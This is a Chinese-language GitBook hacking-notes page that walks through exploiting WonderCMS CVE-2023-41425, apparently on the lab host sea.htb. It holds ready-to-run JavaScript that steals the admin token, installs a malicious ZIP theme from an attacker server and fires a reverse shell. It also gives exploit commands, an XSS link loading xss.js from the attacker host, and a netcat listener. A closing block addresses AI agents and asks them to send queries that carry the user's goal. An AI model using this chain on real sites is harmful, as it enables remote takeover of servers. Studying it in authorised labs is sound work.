> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/wonder-cms-exploitation.md).

# Wonder

WonderCMS 利用笔记，涵盖 CVE-2023-41425 XSS 转 RCE、恶意 ZIP payload 投递、联系表单触发、利用托管和反向 Shell 访问。

## 漏洞奇观 /\[CVE-2023-41425]

搜索 CMS 漏洞时发现了一个 XSS 到 RCE 的问题。

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**获取 shell 的 JavaScript 代码：**/ 以下 JavaScript 会下载一个包含反向 shell 脚本的恶意 ZIP 文件，并在服务器上执行它：

```javascript
// 服务器在使用 JavaScript 解析域名时有些问题
// 我们可以直接按要求提供目标 URL 作为参数
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// 修改在 HTTP 服务器上提供的 ZIP 文件路径
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // 访问上传的 ZIP 文件中的 rev.php
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // 触发反向 shell 脚本并提供监听器的 IP 和端口
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**安装 CVE-2023-41425 的利用脚本：**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

运行利用脚本：

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

该脚本通过向攻击者服务器的 8000 端口发送请求，借助 `xss.js`，从而实现 RCE 并控制目标。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7505b5e2d642f24480a1d66b5fa47fac32186830%2Fimage%20(2274).png?alt=media" alt=""><figcaption></figcaption></figure>

**最后一步：**

通过 XSS 链接发送给管理员 `contact.php` 表单以触发恶意链接：

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a7badabd359f6ac43583778db89d9661df82a79%2Fimage%20(2267).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03e29c4f6d815d1c8a07a0b04dd8fa3eea041c34%2Fimage%20(2268).png?alt=media" alt=""><figcaption></figcaption></figure>

**设置一个 Netcat 监听器：**/ 在 4444 端口启动监听器：

```bash
nc -nlvp 4444
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a85982bb902979479e1938141c505604f89aca%2Fimage%20(2273).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/wonder-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.